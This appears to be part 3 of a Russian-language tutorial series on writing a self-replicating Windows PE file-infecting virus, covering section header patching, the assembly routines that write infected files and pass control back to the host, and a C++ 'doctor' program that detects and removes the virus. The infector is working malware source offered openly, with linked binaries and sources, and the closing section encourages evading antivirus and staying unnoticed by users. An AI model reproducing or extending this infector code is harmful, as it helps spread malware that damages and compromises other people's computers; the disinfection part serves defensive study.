Содержание статьи
Предыдущие части: Создаем
PE-вирус №1 и Создаем
PE-вирус №2
Так вот, поля PE-заголовка следующие:
ObjectAlign. Смещение относительно начала PE-заголовка равно 38h. Размер – 4 байта (DWORD). Указывает выравнивающий фактор программных секций. Должно быть степенью 2 между 512 и 256 М включительно. При использовании других значений программа не загрузится.
FileAlign. Смещение относительно начала PE-заголовка равно 3Ch. Размер – 4 байта. Фактор, используемый для выравнивания секций в программном файле. В байтовом значении указывает на границу, на которую секции дополняются 0 при размещении в файле. Большое значение приводит к нерациональному использованию дискового пространства, маленькое увеличивает компактность, но и снижает скорость загрузки. Должен быть степенью 2 в диапазоне от 512 до 64 К включительно. Прочие значения вызовут ошибку загрузки файла.
Мы должны знать, что PhysicalSize выравнивается по значению FileAlign, а VirtualSize – по
ObjectAlign.
; Выравниваем физический размер секции _AlgnPhSz: add edi, [edi + 3Ch] ; edi = VA of PE header add [esi + 10h], dword ptr Virsize ; Увеличим физический размер секции mov eax, [edi + 3Ch] ; Берем выравнивающий фактор ; FileAlign dec eax add [esi + 10h], eax not eax and [esi + 10h], eax ; Выравниваем виртуальный размер _AlgnVrSz: mov ecx, [esi + 08h] ; Берем виртуальный размер jecxz _PtchImSz ; Прыгаем, если размер = 0 add [esi + 08h], dword ptr Virsize ; Увеличим виртуальный размер секции mov eax, [edi + 38h] ; Берем выравнивающий фактор ; ObjectAlign shl eax, 1 ; Увеличиваем в 2 раза (для запаса ; памяти) dec eax add [esi + 08h], eax not eax and [esi + 08h], eax
В PE-заголовке также есть еще одно поле размером 4 байта, которое проверяется загрузчиком – ImageSize. Его смещение относительно начала заголовка – 50h. Это виртуальный размер в байтах всего загружаемого образа, вместе с заголовками, кратен ObjectAlign. Пропатчим его:
; Патчим ImageSize = VirtualRVA(Last section) + VirtualSize(Last section) _PtchImSz: mov eax, [esi + 0Ch] ; VirtualRVA(Last section) add eax, [esi + 08h] ; VirtualSize(Last section) mov [edi + 50h], eax
При попытке что-то записать в секцию, в которую нельзя записывать, программа упадет с сообщением об ошибке. Поэтому при добавлении кода в последнюю секцию мы предполагаем, что этот код будет выполняться. А значит, секция должна иметь права на чтение, выполнение. Ну и запись тоже не помешает. Такими правами заправляет поле ObjectFlags в дескрипторе секции. Вот некоторые битовые флаги, которые характеризуют секцию:
00000020h - Секция содержит программный код;
00000040h - Секция содержит инициализированные данные;
00000080h - Секция содержит неинициализированные данные;
20000000h - Секция является исполняемой (см. флаг 00000020h);
40000000h - Секция только для чтения;
80000000h - Секция может использоваться для записи и чтения.
Нам нужно установить флаги 00000020h + 20000000h + 80000000h:
; Изменяем флаги, характеризующие секцию _ObjFlags: mov eax, [esi + 24h] .IF !(eax & 00000020h) ; Секция содержит программный код or eax, 00000020h .ENDIF .IF !(eax & 20000000h) ; Секция является исполняемой or eax, 20000000h .ENDIF .IF !(eax & 80000000h) ; Секция может использоваться для ; записи и чтения or eax, 80000000h .ENDIF mov [esi + 24h], eax
И, наконец, завершительный этап – запись обновленного содержимого файла новой жертвы, восстанавливаем первые 5 байт текущей жертвы (которая тоже заражает другие файлы – новые жертвы) и передаем ей управление:
_WriteFile: xor esi, esi push esi push esi push esi push hFile call SetFilePointer xor esi, esi push esi push esp push dwAlignedFileSize push pAllocMem push hFile call WriteFile test eax, eax ; Не удалось записать код в программу jz _CloseFile ; Инкрементируем счетчик зараженных программ lea esi, infect_count add esi, delta_off inc byte ptr [esi] _CloseFile: push hFile call CloseHandle push pAllocMem call GlobalFree ; Освобождаем стек pop eax pop eax pop eax pop eax ; Проверим, сколько файлов уже заразили lea esi, infect_count add esi, delta_off cmp byte ptr [esi], MaxVictimNumber ; Если меньше MaxVictimNumber, то ; продолжаем. Иначе - выходим jl _FindNextFileA _Exit: push hFind call FindClose ; Закрываем поиск файлов cmp dword ptr delta_off, 0 ; проверяем поколение jz ExitVirus ; поколение первое - завершаемся ; ищем начало заражаемого файла по сигнатуре на текущей странице памяти mov eax, OFFSET begin_data add eax, delta_off xor ax, ax _SearchMZPE_: mov edi, [eax + 3Ch] .IF word ptr [eax] != 5A4Dh || word ptr [eax + edi] != 4550h sub eax, 10000h jmp _SearchMZPE_ .ENDIF ; Вычисляем EntryPoint VA mov edi, eax ; edi = VA of MZ header add edi, dword ptr [edi + 3Ch] ; edi = VA of PE header mov eax, dword ptr [edi + 28h] ; eax = RVA of EntryPoint add eax, dword ptr [edi + 34h] ; eax = VA of EntryPoint pusha push esp ; адрес переменной, в нее возвращается "старый" режим доступа push 40h ; режим доступа (нам нужен 40h) push 5h ; размер области памяти в байтах push eax ; адрес области памяти, чьи атрибуты страниц нужно изменить call VirtualProtect popa ; Восстанавливаем 5 байт начала программы-носителя mov ecx, 5h lea esi, save_vir_b add esi, delta_off ; esi = VA of save_vir_b mov edi, eax ; edi = VA of EntryPoint rep movsb ; Прыгаем на код носителя jmp eax ExitVirus: push 0 call _ExitProcess
После заражения нашего calc.exe еще раз посмотрим в его нутро HIEW’ом:
Здесь я обвел скорректированные нашим вирусом поля в PE-заголовке калькулятора и в дескрипторе последней секции. Также можно сравнить первые 5 байт точки входа до заражения и после:
Видим, что наш вирус изменил эти 5 байт на команду прыжка.
Обезвреживание вируса
Теперь задумаемся, а как нам найти зараженные нашим вирусом файлы и обезвредить их, если мы хорошо знаем структуру вируса? Знаем, куда он сохраняет 5 байт точки входа, куда дописывается. Перед нами встала задача удалить тело вируса из зараженной программы, не нарушив ее работоспособность. Желательно бы еще, чтобы наш вирус больше не трогал эту программу после того, как ее вылечили, т.е. она приобрела бы иммунитет против нашего вируса.
Вот такая получилась программа:
Ссылки на исходники и бинарники этой программы находятся в конце статьи. А я только вычерпну наиболее интересные участки кода программы-доктора.
Наша программа ищет все файлы с расширением EXE в указанной директории (включая вложенные директории), отсеивает файлы не PE-формата. Если найден PE-файл, наш «антивирус» анализирует заголовки этого файла и подсчитывает контрольную сумму некоторых байт в конце программы. Затем сравнивает эту сумму с той, что прописана для нашего вируса и выдает результат - заражен файл, вылечен ранее или не заражен.
Для первой версии нашего вируса (т.е. для той, которую мы написали выше) мы должны определить его размер и смещение сохраненных байт точки входа относительно конца файла, чтобы можно было вылечить зараженную жертву. Размер определим, откомпилировав наш вирус и посмотрев каким-нибудь HEX-редактором за конец таблицы HashTable. Помните, что мы там оставили якобы «бессмысленные» DWORD’ы? Теперь они нам пригодились, чтобы было легче считать. Сейчас размер вирусного кода равен 06BAh = 1722 байта. Смещение сохраненных 5 байт точки входа жертвы относительно конца файла равно 0ADCh = 2780 байт.
Для подсчета контрольной суммы я решил использовать алгоритм CRC32. Контрольную сумму будем считать, не затрагивая изменяющиеся части кода вируса (глобальные переменные, массивы), т.к. если мы их будем учитывать в подсчете CRC, контрольная сумма при проверке совпадать не будет из-за динамических частей и наш «антивирус» скажет, что файл вылечен.
Будем считать сумму от метки start до метки begin_data, и от метки HashTable до end_data. Для этого нам нужно узнать, по какому смещению от start находятся метки begin_data и HashTable. Метка end_data находится по смещению Virsize. Для этого используем все те же бессмысленные DWORD’ы:
Смещение метки begin_data = 0522h, метки HashTable = 0670h.
Значит, считаем контрольную сумму от 0 до 0521h и от 0670h до 06B9h и проверяем ее с уже подсчитанной для нашего вируса.
#define VIRUS_CRC 0x77EA881E #define VIRUS_SIZE 0x06BA #define HASH_TABLE_OFFSET 0x0670 #define BEGIN_DATA_OFFSET 0x0522 // Функция подсчитывает контрольную сумму некоторых последних // байт файла программы и сравнивает с контрольной суммой нашего вируса. // Если суммы равны, возвращается TRUE. Иначе - FALSE. BOOLEAN ContainsVirusCode(HANDLE hFile, DWORD dwSectionAlignment) { DWORD dwSavePointer = SetFilePointer(hFile, 0, NULL, FILE_CURRENT); DWORD crc = 0xFFFFFFFF; if (SetFilePointer(hFile, -(LONG)dwSectionAlignment, NULL, FILE_END) != INVALID_SET_FILE_POINTER) { DWORD dwRead; BYTE *tempBuffer = new BYTE[dwSectionAlignment]; ReadFile(hFile, tempBuffer, dwSectionAlignment, &dwRead, NULL); // Подсчитываем контрольную сумму for (int i = 0; i < BEGIN_DATA_OFFSET; i++) { crc = dwCRC32Array[(crc ^ tempBuffer[i]) & 0xFF] ^ (crc >> 8); } for (i = HASH_TABLE_OFFSET; i < VIRUS_SIZE; i++) { crc = dwCRC32Array[(crc ^ tempBuffer[i]) & 0xFF] ^ (crc >> 8); } crc = ~crc; delete [] tempBuffer; } SetFilePointer(hFile, dwSavePointer, NULL, FILE_BEGIN); return VIRUS_CRC == crc; }
А вот и основной код программы-доктора:
// Открываем файл программы hFile = CreateFile(pszFilePath, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { throw "Анализ невозможен. Ошибка чтения"; } DWORD dwRead; // Сколько байт прочитано за один вызов ReadFile IMAGE_DOS_HEADER dosHeader; // MZ-заголовок // Считываем MZ-заголовок if (!ReadFile(hFile, &dosHeader, sizeof(IMAGE_DOS_HEADER), &dwRead, NULL)) { throw "Анализ невозможен. Ошибка чтения"; } // Проверяем файл на сигнатуру MZ if (IMAGE_DOS_SIGNATURE != dosHeader.e_magic) { throw "Анализ недопустим. Некорректный файл"; } DWORD dwPESignature; // Определяем местонахождение сигнатуры PE-заголовка SetFilePointer(hFile, dosHeader.e_lfanew, NULL, FILE_BEGIN); // Считываем PE-сигнатуру if (!ReadFile(hFile, &dwPESignature, sizeof(dwPESignature), &dwRead, NULL)) { throw "Анализ невозможен. Ошибка чтения"; } // Проверяем файл на сигнатуру PE if (IMAGE_NT_SIGNATURE != dwPESignature) { throw "Анализ недопустим. Формат не поддерживается"; } IMAGE_FILE_HEADER fileHeader; // Считываем IMAGE_FILE_HEADER if (!ReadFile(hFile, &fileHeader, sizeof(fileHeader), &dwRead, NULL)) { throw "Анализ невозможен. Ошибка чтения"; } // Проверяем кол-во секций if (fileHeader.NumberOfSections < 1) { throw "Анализ невозможен. Некорректный файл"; } // Сохраняем текущий указатель файла. // Он будет указывать на опциональный заголовок DWORD dwOptHeaderFilePointer = SetFilePointer(hFile, 0, NULL, FILE_CURRENT); pOptionalHeader = new BYTE[fileHeader.SizeOfOptionalHeader]; PIMAGE_OPTIONAL_HEADER optHeader = (PIMAGE_OPTIONAL_HEADER)pOptionalHeader; // Считываем IMAGE_OPTIONAL_HEADER if (!ReadFile(hFile, pOptionalHeader, fileHeader.SizeOfOptionalHeader, &dwRead, NULL)) { throw "Анализ невозможен. Ошибка чтения"; } // Проверяем наличие заражения if (!ContainsVirusCode(hFile, optHeader->SectionAlignment)) { bError = FALSE; if (optHeader->Win32VersionValue == 0x10041986) { throw "Файл вылечен ранее (есть иммунитет)"; } else { throw "Вирус отсутствует"; } } bError = TRUE; bInfected = TRUE; dwInfectedCount++; // Сохраняем текущий указатель файла. // Он будет указывать на дескриптор первой секции DWORD dwFirstSectionFilePointer = SetFilePointer(hFile, 0, NULL, FILE_CURRENT); IMAGE_SECTION_HEADER lastSectionHeaderVA; IMAGE_SECTION_HEADER lastSectionHeaderPTRD; // Считываем дескриптор первой секции if (!ReadFile(hFile, &lastSectionHeaderVA, IMAGE_SIZEOF_SECTION_HEADER, &dwRead, NULL)) { throw "Файл инфицирован. Лечение невозможно. Ошибка чтения"; } memcpy(&lastSectionHeaderPTRD, &lastSectionHeaderVA, IMAGE_SIZEOF_SECTION_HEADER); // Сохраняем текущий указатель файла. // Он будет указывать на дескриптор последней секции DWORD dwLastSectionFilePointer = dwFirstSectionFilePointer; // Перебираем все последующие дескрипторы секций в поиске последней секции for (WORD i = 1; i < fileHeader.NumberOfSections; i++) { IMAGE_SECTION_HEADER currSectionHeader; // Считываем очередной дескриптор if (!ReadFile(hFile, &currSectionHeader, IMAGE_SIZEOF_SECTION_HEADER, &dwRead, NULL)) { throw "Файл инфицирован. Лечение невозможно. Ошибка чтения"; } // Ищем наибольшее значение Physical Offset if (currSectionHeader.PointerToRawData >= lastSectionHeaderPTRD.PointerToRawData) { memcpy(&lastSectionHeaderPTRD, &currSectionHeader, IMAGE_SIZEOF_SECTION_HEADER); dwLastSectionFilePointer = SetFilePointer(hFile, 0, NULL, FILE_CURRENT) – IMAGE_SIZEOF_SECTION_HEADER; } // Ищем наибольшее значение Virtual Address if (currSectionHeader.VirtualAddress >= lastSectionHeaderVA.VirtualAddress) { memcpy(&lastSectionHeaderVA, &currSectionHeader, IMAGE_SIZEOF_SECTION_HEADER); dwLastSectionFilePointer = SetFilePointer(hFile, 0, NULL, FILE_CURRENT) - IMAGE_SIZEOF_SECTION_HEADER; } } // Проверяем, правильно ли нашли последнюю секцию if (memcmp(&lastSectionHeaderVA, &lastSectionHeaderPTRD, IMAGE_SIZEOF_SECTION_HEADER) != 0) { throw "Файл инфицирован. Лечение невозможно. Файл некорректен"; } // Проверим физический размер последней секции if (lastSectionHeaderVA.SizeOfRawData == 0) { throw "Файл инфицирован. Лечение невозможно. Файл некорректен"; } // Ищем сохраненные 5 байт точки входа BYTE save_vir_b[5]; SetFilePointer(hFile, -VIRUS_FIVE_BYTES_OFFSET, NULL, FILE_END); if (!ReadFile(hFile, save_vir_b, 5, &dwRead, NULL)) { throw "Файл инфицирован. Лечение невозможно. Ошибка чтения"; } // Ищем физическое смещение точки входа относительно начала файла // Восстанавливаем значение указателя файла SetFilePointer(hFile, dwFirstSectionFilePointer, NULL, FILE_BEGIN); // Ищем секцию кода IMAGE_SECTION_HEADER codeSectionHeader; for (i = 0; i < fileHeader.NumberOfSections; i++) { // Считываем очередную секцию if (!ReadFile(hFile, &codeSectionHeader, IMAGE_SIZEOF_SECTION_HEADER, &dwRead, NULL)) { throw "Файл инфицирован. Лечение невозможно. Ошибка чтения"; } if (codeSectionHeader.VirtualAddress == optHeader->BaseOfCode) { // Нашли секцию кода break; } } CloseHandle(hFile); hFile = CreateFile(pszFilePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { throw "Файл инфицирован. Лечение невозможно. Ошибка записи"; } DWORD dwEntryPointOffset = codeSectionHeader.PointerToRawData + optHeader->AddressOfEntryPoint - optHeader->BaseOfCode; SetFilePointer(hFile, dwEntryPointOffset, NULL, FILE_BEGIN); DWORD dwWritten; // Записываем сохраненные 5 байт точки входа (восстанавливаем их) if (!WriteFile(hFile, save_vir_b, 5, &dwWritten, NULL)) { throw "Файл инфицирован. Лечение невозможно. Ошибка записи"; } // Если виртуальный размер не больше выровненного размера вируса, // мы рискуем испортить виртуальный размер, сделав его равным нулю. // В этом случае лучше оставить описатель последней секции без // изменений. Просто обнулим тело вируса, не уменьшая размера самой жертвы if (lastSectionHeaderVA.Misc.VirtualSize > GetAligned(VIRUS_SIZE, optHeader->SectionAlignment)) { // Восстанавливаем дескриптор последней секции SetFilePointer(hFile, dwLastSectionFilePointer, NULL, FILE_BEGIN); lastSectionHeaderVA.SizeOfRawData -= GetAligned(VIRUS_SIZE, optHeader->FileAlignment); lastSectionHeaderVA.Misc.VirtualSize -= GetAligned(VIRUS_SIZE, optHeader->SectionAlignment); if (!WriteFile(hFile, &lastSectionHeaderVA, IMAGE_SIZEOF_SECTION_HEADER, &dwWritten, NULL)) { throw "Файл инфицирован. Лечение невозможно. Ошибка записи"; } // Восстанавливаем ImageSize SetFilePointer(hFile, dwOptHeaderFilePointer, NULL, FILE_BEGIN); optHeader->SizeOfImage = lastSectionHeaderVA.VirtualAddress + lastSectionHeaderVA.Misc.VirtualSize; if (!WriteFile(hFile, pOptionalHeader, fileHeader.SizeOfOptionalHeader, &dwWritten, NULL)) { throw "Файл инфицирован. Лечение невозможно. Ошибка записи"; } // Вырезаем из файла тело вируса SetFilePointer(hFile, -(LONG)GetAligned(VIRUS_SIZE, optHeader->SectionAlignment), NULL, FILE_END); SetEndOfFile(hFile); } else { LONG lSize = GetAligned(VIRUS_SIZE, optHeader->SectionAlignment); PBYTE pZero = new BYTE[lSize]; // Обнуляем тело вируса ZeroMemory(pZero, lSize); SetFilePointer(hFile, -lSize, NULL, FILE_END); WriteFile(hFile, pZero, lSize, &dwWritten, NULL); delete [] pZero; } bError = FALSE; dwTreatedCount++; throw "Инфицированный файл вылечен успешно!";
Как видим, алгоритм у нас такой же, как и при заражении: находим дескриптор последней секции, фиксим размеры секции (виртуальный и физический), пересчитываем поле ImageBase в PE-заголовке. Затем восстанавливаем байты точки входа и затираем вирус. При последнем действе может возникнуть проблема: а что, если размер жертвы до заражения был меньше выровненного размера вируса? Тогда при фиксе дескриптора последней секции мы отнимем из размера секции такой же выровненный размер нашего вируса. В итоге размер секции станет равным нулю, что совсем недопустимо. Поэтому, в таком случае мы просто обнуляем тело вируса, а размер секции не изменяем.
Здесь при удалении вируса мы оставляем метку заражения в резервном поле PE-заголовка, чтобы при повторной попытке заражения вирус пропустил данный файл, т.к. он не будет заражать файл с данной меткой. Таким образом, мы формируем иммунитет вылеченной жертвы к вирусу.
Антивирусы
Ради интереса я проверил зараженный калькулятор 6-м касперским на наличие вируса. Касперский промолчал, ничего не заметив (даже с включенной проактивной защитой). Dr. Web я не пробовал. А вот NOD32 немедленно заметил неизвестный Win32-вирус и заблокировал всяческий доступ к зараженному файлу. Исследование вопроса о том, как замаскироваться от антивируса, я оставляю читателю.
Заключение
Вот мы и написали простую самораспространяющуюся программу, а также попытались вылечить зараженный ею файл. Данный код можно еще много совершенствовать и оптимизировать. Он является скорее учебным, чем боевым. Например, можно поиграться с оверлеями, с самораспаковывающимися архивами (и подобными программами), с шифрованием кода вируса. Можно упаковать какую-то часть кода, чтобы поместить в освободившееся место тело вируса. А при выполнении распаковывать. Ну и тому подобное. Самое главное – остаться незамеченным. И если даже не извращаться над кодом вируса, то хотя бы сделать его работоспособным для всех условий, чтобы пользователь не обнаружил, что какая-нибудь его программа внезапно упала при запуске из-за вируса. Возникнет сразу много подозрений и лишних вопросов. А нам это не надо. Мы лучше будем тихо без шелеста делать свое дело.
Итак, вот и обещанные исходники:
Программа подсчета хеша имени функции с исходником
(Visual C++ 6.0)
Вирус с исходником (MASM 8.2)
Программа-доктор с исходником (Visual C++ 6.0)
Предыдущие части: Создаем
PE-вирус №1 и Создаем
PE-вирус №2